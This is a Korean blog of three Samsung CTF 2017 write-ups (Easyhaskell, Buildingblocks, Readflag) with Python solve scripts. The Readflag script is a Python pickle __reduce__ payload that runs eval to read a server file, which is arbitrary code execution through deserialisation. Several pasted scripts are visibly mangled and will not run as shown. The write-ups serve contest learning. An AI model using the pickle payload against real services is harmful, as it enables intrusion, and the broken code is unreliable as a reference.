2017. 7. 23. 19:08

## Samsung CTF_2017(Easyhaskell, rev)


[Summary]

1. Custom Base 64를 이용한 문제이다.

2. 파일의 이름인 argv[0]을 input으로 Custom Base64 인코딩한 값을 출력하는 프로그램이다.

3. 2가지 풀이법이 존재한다.

=> 파일명 브루트포싱

=> Base 64 테이블을 알아내어 바로 디코딩(하지만 이것도 브루트포싱하였다.)


[Analysis] 


[그림 1] Easyhaskell 문제

 이 문제는 간단하게 요약하면 argv[0]을 인자 값으로 커스텀 Base64를 해 결과 값으로 출력하는 프로그램이다.

이 문제를 처음에는 IDA로 열어서 분석하려고 했으나 haskell이라 그런지 조금 분석하기 모호했다. 그래서 우선

처음 IDA로 분석했을 때는 이 프로그램은 프로그램 인자 값을 받아서 무언가를 한다는 것 정도만 확인하였다.


 이제 이 프로그램을 알기 위해서 실행을 해보았는데 인자 값(argv[1])을 주고 프로그램을 실행하든 안주고 실행하든

아래 [그림 2]와 같이 똑같은 결과를 리턴했다.



[그림 2] argv[1]의 영향


 뭔가 이상해서 argv[0], 즉 파일 이름을 변경하고 실행해보았더니 아래 [그림 3]과 같이 프로그램의 결과 값이 

다른 것을 확인할 수 잇었다.



[그림 3] argv[0](파일이름)의 영향


 위 [그림 3]의 결과를 보고 딱 base64가 떠올랐다. 그래서 base64 인코딩 형태가 맞는지 아래 [그림 4]와 같이 

몇 가지 실험을 했다. 먼저 "1"의 결과가 "CH55"가 나왔고, "11"의 결과는 "C)Q5", "111"의 결과는 "C)Q]", "1111"의

결과는 "C)Q]CH55"가 나왔다.



[그림 4] Base64의 특성을 확인하는 실험


 우선 위 [그림 14]의 결과를 보면 패딩 값이 "5"이고 3글자를 주기로 해시 값에 4글자씩 Output으로 나오는 

것을 확인할 수 있다. base64의 원리에 대해 간단하게 그림으로 설명한 블로그가 있다. 해당 블로그를 확인하고

따라오면 된다. 말로 설명하면 3글자 각 8비트 씩을 쭉 나열하여 6비트씩 쪼개어 4글자로 만드는데 각 6비트의 

값은 base64테이블의 index를 가리킨다. 이 때 base64의 테이블이 통상적으로 사용하는 것이 흔히 말하는 

base64 이고, 이 테이블을 사용자가 원하는대로 바꾼 것이 custom base64이다.


 참고 블로그 주소 : http://bbolmin.tistory.com/46


 이제 이 문제가 Custom Base64 라는 것을 눈치챘고 테이블을 알아내야 하는데 테이블의 경우 바이너리에 

하드코딩되어 있을 수도 있고 어떠한 알고리즘으로 만들어낼 수도 있지만 그렇게 문제를 해결하지 않았다.


 이 테이블을 직접 000000~111111 까지 64개의 테이블을 직접 만들었는데 만든 방식은 아래와 같다.


1) 앞의 6 * 3 비트는 아무 값으로 채운다. (Plain Text가 printable 하도록) => 마지막 비트는 1로 

   세팅해서 2번의 결과ㅏ가 printable 한 문자가 나오도록 조작한다.


2) 마지막 6bit 를 000000 부터 111111 까지 만들어 프로그램을 실행한 후 마지막 바이트를 확인후

   테이블에 추가한다.


3) 2번의 방법에서 printable 하지 않은 경우 3번째 6비트 값을 조작하여 2번과 비슷한 방법으로 

   알아낸다.


 위 과정을 통해 테이블을 구해보면 아래 [그림 5]와 같은 테이블을 얻을 수 있다.



[그림 5] 테이블 구하기


  이제 이렇게 구해진 테이블을 이용하여 base64 디코딩하는 루틴을 파이썬으로 작성해서 돌리면 문제에서

주어진 Flag - "=ze=/<fQCGSNVzfDnlk$&?N3oxQp)K/CVzpznK?NeYPx0sz5"가 아래 [그림 6]과

같이 복호화되어 나타나게 된다.


[Exploit Code] - easyhaskell_exploit.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
from pwn import *
import os
#import hexdump
 
context(arch='amd64',os='linux')
local=True
#local=False
 
###################################################################################
 
def frombase64(s):
    #b64s = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
    b64s = "|yt2QGYA;u_RCeD0H/c)=NWVo&6nPk9$~dOKa?:<w81T!f3ip]Bxzl@sJjMrXS%#" 
    b64p = "5"
    ret = ""
    s2 = s.replace(b64p, "")
    left = 0
    for i in range(0len(s2)):
        if left == 0:
                left = 6
            else:
                    value1 = b64s.index(s2[i - 1]) & (** left - 1)
                    value2 = b64s.index(s2[i]) >> (left - 2)
                    value = (value1 << (- left)) | value2
                    ret += chr(value)
                    left -= 2
        return ret
 
################################################################################### 
bf = "abcdefghijklmnopqrstuvwxyzABCEDFGHIJKLMNOPQRSTUVWXYZ1234567890"
 
exec_file_path = "/home/holinder4s/Desktop/SCTF_2017/Reversing/EasyHaskell/"
 
result = []
for i in xrange(64):
    result.append('')
 
for i in xrange(64):
    offset = i | 0x40
    if offset > 0x20 and offset < 0x7f and offset != 0x60 and offset != 0x7c:
        target = "AA"+chr(offset)
        print target
    
        os.system("cp "+exec_file_path+"easyhaskell "+exec_file_path+target)
        p = process(exec_file_path+target)
        data = p.recv(1024)
        print data
        #data[-2:-1]
        print data[-3:-2]
        result[i] = data[-3:-2]
            
        os.system("rm "+exec_file_path+target) 
        p.close()
    elif offset == 0x7f:
        offset = i
        target = "AA?"
        os.system("cp "+exec_file_path+"easyhaskell "+exec_file_path+target)
        p = process(exec_file_path+target)
        data = p.recv(1024)
        print data
        result[0x3f= data[-3:-2]
 
        os.system("rm "+exec_file_path+target)
                p.close()
 
target = "Ah0"
os.system("cp "+exec_file_path+"easyhaskell "+exec_file_path+target)
= process(exec_file_path+target)
data = p.recv(1024)
print data
result[0x20= data[-4:-3]
os.system("rm "+exec_file_path+target)
p.close()
 
target = "A?0"
os.system("cp "+exec_file_path+"easyhaskell "+exec_file_path+target)
= process(exec_file_path+target)
data = p.recv(1024)
print data
result[0x3c= data[-4:-3]        
os.system("rm "+exec_file_path+target)
p.close()
 
 
print "[*] table generated~~!!"
print "   - \""+"".join(result)+"\""
 
print frombase64("=ze=/<fQCGSNVzfDnlk$&?N3oxQp)K/CVzpznK?NeYPx0sz5")
 
# ref1) http://bbolmin.tistory.com/46
# ref2) https://blog.affien.com/archives/2004/12/27/base64-encodingdecoding-algorithm/
 
cs



[Get Flag~~!!!!]


[그림 6] flag 확인




끝~!








Posted by holinder4S
2017. 7. 23. 18:42

## Samsung CTF_2017(Buildingblocks, Coding)


[Summary]

1. 어셈블리 블럭들의 조각을 던져줌.

2. 이 어셈블리 블럭들의 조각을 Segmentation Fault가 나지 않도록 순서만 맞춰주면 됨.

3. 각 블럭별로 eax레지스터가 비교값과, 연산을 끝낸 값을 구할 수 있음.

4. 구한 eax값과 다음 블럭의 비교값과 비교해 같으면 이어붙이면 됨.(이 조건일 때 seg fault가 안남.)


[Analysis] 


[그림 1] Buildingblocks 문제

 

 이 문제는 코딩을 해서 어셈블리 블럭을 완성시키면 플래그를 주는 문제였다. 위 문제서버로 접속하면 아래

[그림 2]와 같이 주어지는 Base64로 인코딩된 문자열들은 x64머신에서 돌아가는 코드이며 각각의 블럭들을

잘 이어붙여 실행했을 때 Segmentation Fault가 뜨지 않도록 하는 가장 긴 코드를 만든 후 바이트 코드를 

sha256 hexsum을 서버에 보내달라고 한다.(총 10개의 스테이지가 있다.)



[그림 2] 문제 서비스 분석


 그래서 위 base64로 인코딩된 문자열들을 하나하나 디코딩해 바이트 코드로 만든 후 pwntool 모듈을 이용해

어셈블리어로 변환하면 아래 [그림 3]과 같이 여러 개의 코드 뭉치로 나타난다.



[그림 3] 11개의 코드 뭉치 중 일부


 위 [그림 3]을 보면 여러 개의 코드 뭉치들 중 일부를 나타낸 것인데 11개의 코드 뭉치가 위 [그림 3]의 

아래와 같이 cmp문으로 시작하지 않고 eax에 값을 지정하는 유형의 코드뭉치 하나가 있고, 나머지는 전부

위 코드뭉치와 같은 유형이다.


 이제 이 코드뭉치들이 Segmentation Fault 가 나지 않도록 이어 붙이기 위해서는 cmp문 바로 아래 je로

절대로 점프해서는 안된다. 따라서 각각의 코드 뭉치들의 비교 값과 각각의 코드뭉치에서 최종적으로 나오는 

eax의 값을 비교하여 같은 것을 이어 붙여야 한다. 따라서 아래 [그림 4]와 같이 각 코드뭉치에 대해

[비교값, 최종 eax 값]만 나타내어 보면 아래 [그림 4]와 같다.



[그림 4] 코드뭉치 단순화


  위 리스트를 보고 eax값과 cmp 비교 값이 같은 것끼리 이어 붙이는데 앞서 설명한 cmp문으로 시작하지 

않는 유형은 무조건 코드뭉치의 제일 앞이므로 여기서부터 eax값과 비교문이 같은 0번째가 바로 뒤를 잇고

그 다음이 4번째... 이렇게 쭉 가면 [그림 4]의 아래에 나오는 리스트처럼 코드블럭의 순번을 알 수 있고

이를 바이트 코드로 이어붙여 sha256한 값을 서버에 보내는 과정을 stage10까지 반복하면 아래 [그림 5]와 

같이 플래그를 확인할 수 있다.


[Exploit Code] - buildingblocks_exploit.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
from pwn import *
from pwnlib import asm
import base64
import StringIO
#import hexdump
 
context(arch='amd64',os='linux')
#local=True
local=False
 
if local:
    p = process("./xxxx")
else:
    p = remote("buildingblocks.eatpwnnosleep.com"46115)
 
 
raw_input()
 
byte_code = ""
byte_code_tmp = []
 
disasm_str = []
disasm_str_tmp = []
 
def init_var():
    global byte_code, byte_code_tmp, disasm_str, disasm_str_tmp
    byte_code = ""
    byte_code_tmp = []
 
    disasm_str = []
    disasm_str_tmp = []
 
def calc_eax(disasm_str_offset):
    eax = 0; edx = 0
    for i in xrange(4len(disasm_str[disasm_str_offset])):
        #print disasm_str[disasm_str_offset][i]
        if disasm_str[disasm_str_offset][i].find("mov"!= -1:
            pos = disasm_str[disasm_str_offset][i].find(",")
            if disasm_str[disasm_str_offset][i].find("eax"!= -1:
                eax = int(disasm_str[disasm_str_offset][i][pos+1:],16& 0xffffffff
            elif disasm_str[disasm_str_offset][i].find("edx"!= -1:
                edx = int(disasm_str[disasm_str_offset][i][pos+1:],16& 0xffffffff
            elif disasm_str[disasm_str_offset][i].find("rax"!= -1:
                eax = int(disasm_str[disasm_str_offset][i][pos+1:],16& 0xffffffffffffffff
            else:
                edx = int(disasm_str[disasm_str_offset][i][pos+1:],16& 0xffffffffffffffff
                
        elif disasm_str[disasm_str_offset][i].find("add"!= -1:
            pos = disasm_str[disasm_str_offset][i].find(",")
                        if disasm_str[disasm_str_offset][i].find("eax"!= -1:
                                eax = (eax + int(disasm_str[disasm_str_offset][i][pos+1:],16)) & 0xffffffff
                        else:
                                edx = (edx + int(disasm_str[disasm_str_offset][i][pos+1:],16)) & 0xffffffff
        elif disasm_str[disasm_str_offset][i].find("sub"!= -1:
                        pos = disasm_str[disasm_str_offset][i].find(",")
                        if disasm_str[disasm_str_offset][i].find("eax"!= -1:
                                eax = (eax - int(disasm_str[disasm_str_offset][i][pos+1:],16)) & 0xffffffff
                        else:
                                edx = (edx - int(disasm_str[disasm_str_offset][i][pos+1:],16)) & 0xffffffff
        elif disasm_str[disasm_str_offset][i].find("mul"!= -1:
            if disasm_str[disasm_str_offset][i].find("edx"!= -1:
                mul_eax_edx = eax*edx
                eax = mul_eax_edx & 0x00000000ffffffff
                edx = (mul_eax_edx & 0xffffffff00000000>> 32
            else:
                print "[+] to be implement"
 
    return eax
 
def first_calc_eax(disasm_str_offset):
    for i in xrange(len(disasm_str[disasm_str_offset])):
                #print disasm_str[disasm_str_offset][i]
                if disasm_str[disasm_str_offset][i].find("mov"!= -1:
                        pos = disasm_str[disasm_str_offset][i].find(",")
                        if disasm_str[disasm_str_offset][i].find("eax"!= -1:
                                eax = int(disasm_str[disasm_str_offset][i][pos+1:],16& 0xffffffff
                        elif disasm_str[disasm_str_offset][i].find("edx"!= -1:
                                edx = int(disasm_str[disasm_str_offset][i][pos+1:],16& 0xffffffff
                        elif disasm_str[disasm_str_offset][i].find("rax"!= -1:
                                eax = int(disasm_str[disasm_str_offset][i][pos+1:],16& 0xffffffffffffffff
                        else:
                                edx = int(disasm_str[disasm_str_offset][i][pos+1:],16& 0xffffffffffffffff
 
                elif disasm_str[disasm_str_offset][i].find("add"!= -1:
                        pos = disasm_str[disasm_str_offset][i].find(",")
                        if disasm_str[disasm_str_offset][i].find("eax"!= -1:
                                eax = (eax + int(disasm_str[disasm_str_offset][i][pos+1:],16)) & 0xffffffff
                        else:
                                edx = (edx + int(disasm_str[disasm_str_offset][i][pos+1:],16)) & 0xffffffff
                elif disasm_str[disasm_str_offset][i].find("sub"!= -1:
                        pos = disasm_str[disasm_str_offset][i].find(",")
                        if disasm_str[disasm_str_offset][i].find("eax"!= -1:
                                eax = (eax - int(disasm_str[disasm_str_offset][i][pos+1:],16)) & 0xffffffff
                        else:
                                edx = (edx - int(disasm_str[disasm_str_offset][i][pos+1:],16)) & 0xffffffff
                elif disasm_str[disasm_str_offset][i].find("mul"!= -1:
                        if disasm_str[disasm_str_offset][i].find("edx"!= -1:
                                mul_eax_edx = eax*edx
                                eax = mul_eax_edx & 0x00000000ffffffff
                                edx = (mul_eax_edx & 0xffffffff00000000>> 32
                        else:
                                print "[+] to be implement"    
    return eax
 
if __name__ == '__main__':
    for stage in xrange(10):
        init_var()
    
        print p.recvuntil(')\n')
        data =  p.recvuntil(']'); print data
    
        pos = data.find("'")
        while pos != -1:
            pos = data.find("'")
            data = data[pos+1:]
            pos = data.find("'")
            tmp = data[:pos]; print "wjdebug : "+tmp
            byte_code_tmp.append(base64.b64decode(tmp))
            data = data[pos+1:]
        
        for i in xrange(len(byte_code_tmp)-1):
            print "##### wjdebug #####"
            disas_tmp = disasm(byte_code_tmp[i], arch='amd64', os='linux'); print disas_tmp
            print "###################"
            
            linenum = disas_tmp.count('\n')
            disasm_str_tmp = disas_tmp.split('\n',linenum)
            for j in xrange(len(disasm_str_tmp)):
                disasm_str_tmp[j] = disasm_str_tmp[j][32:]
            
            disasm_str.append(disasm_str_tmp)
        
        first_offset = -1; final_eax = 0
        for i in xrange(len(disasm_str)):
            if disasm_str[i][0].find("cmp"== -1:
                first_offset = i
            if disasm_str[i][len(disasm_str[i])-1].find("syscall"!= -1:
                pos = disasm_str[i][0].find(",")
                final_eax = int(disasm_str[i][0][pos+1:],16)
    
        simple_block = [];
        for i in xrange(len(disasm_str)):
            if disasm_str[i][0].find("cmp"== -1:
                simple_block_tmp = []
                simple_block_tmp.append(-1)
                simple_block_tmp.append(first_calc_eax(i))
                simple_block.append(simple_block_tmp)
            else:
                simple_block_tmp = []
                pos = disasm_str[i][0].find(",")
    
                simple_block_tmp.append(int(disasm_str[i][0][pos+1:],16))
                simple_block_tmp.append(calc_eax(i))
                simple_block.append(simple_block_tmp)
    
        for i in xrange(len(simple_block)):
            print "["+hex(simple_block[i][0])+","+hex(simple_block[i][1])+"]"
    
        block_order = [first_offset]
        cur_eax = simple_block[first_offset][1]
        while cur_eax != 0x3c:
            for i in xrange(len(simple_block)):
                cmp_eax = simple_block[i][0]
                if cur_eax == cmp_eax:
                    block_order.append(i)
                    cur_eax = simple_block[i][1]
                    break
        print block_order
    
        byte_code = ""
        for i in xrange(len(block_order)):
            byte_code += byte_code_tmp[block_order[i]]
        #print disasm(byte_code, arch='amd64', os='linux');
        
        sha256_answer = hashlib.sha256(byte_code).hexdigest()
        
        print p.recvuntil('(code bytes): ')
        p.send(sha256_answer+'\n')
    
    
    p.interactive()
 
# ref1) http://docs.pwntools.com/en/stable/asm.html
# ref2) https://stackoverflow.com/questions/7472839/python-readline-from-a-string
# ref3) https://dongyeopblog.wordpress.com/2016/06/24/python-%EB%AC%B8%EC%9E%90%EC%97%B4%EC%97%90%EC%84%9C-%ED%8A%B9%EC%A0%95%EB%AC%B8%EC%9E%90-%EC%B9%B4%EC%9A%B4%ED%8A%B8%ED%95%98%EB%8A%94%EB%B2%95/
# ref4) https://stackoverflow.com/questions/26538588/how-to-sha256-hash-a-variable-in-python
 
cs


[Get Flag~~!!!!]


[그림 5] flag 확인



끝~!






Posted by holinder4S
2017. 7. 23. 18:15

## Samsung CTF_2017(Readflag, Attack)


[Summary]

1. Python Pickle 취약점을 이용

2. __reduce__ method의 return으로 지정되는 함수 (RCE가능)


[Analysis] 

  Readflag문제는 이전에 Plaid CTF에서도 나왔던 문제였던 Python의 Pickle 취약점을 이용하는 문제였다.

Pickle이라는 것은 파이썬에서 사용하는 각 객체나 변수, 리스트 등을 파일에다가 쓸 수도 있는 유용한 모듈인데

class를 dump한 후 load를 할 때 해당 클래스의 __reduce__ method의 return으로 지정되는 함수를 실행하는

임의 코드 실행 취약점이 발생한다.


 이 취약점을 이용하려면 아래 exploit 코드와 같이 클래스를 하나 만들고 내부에 __reduce__ 함수를 만들고

return으로 원하는 메서드와 인자를 구성한 후 서버로 보내면 끝이다.


 실제로 아래 exploit 코드를 보내면 실제로 서버에 있는 "test.py"를 open()하여 read()를 하고 출력해주게 

되는데(eval함수를 이용해서) 처음에는 flag를 읽어보려 했으나 flag파일이 있는지도 모르고 파일이름을 

몰라서 문제를 풀던 중 아래 [그림 1]와 같이 뜨는 에러 문구 중 서버의 test.py라는 파일이 서버 프로그램으로

돌고 있다는 것을 파악하였고, 그 파일을 읽어보았다. 그리고 그 파일 내부에 아래 [그림 2]과 같이 플래그가 있었다.



[그림 1] "test.py" 존재 유무 확인


[Exploit Code] - readflag_exploit.py

1
2
3
4
5
6
7
8
9
10
11
12
from pickle import * 
import __builtin__ 
import pprint 
import os
import commands
 
class exploit(object): 
        def __reduce__(self):
            p = "open('test.py').read()" 
            return (__builtin__.eval,(p,))
 
print dumps(exploit())+'#'
cs


[Get Flag~~!!!!]


[그림 2] test.py 파일 내 flag 확인



끝~!








Posted by holinder4S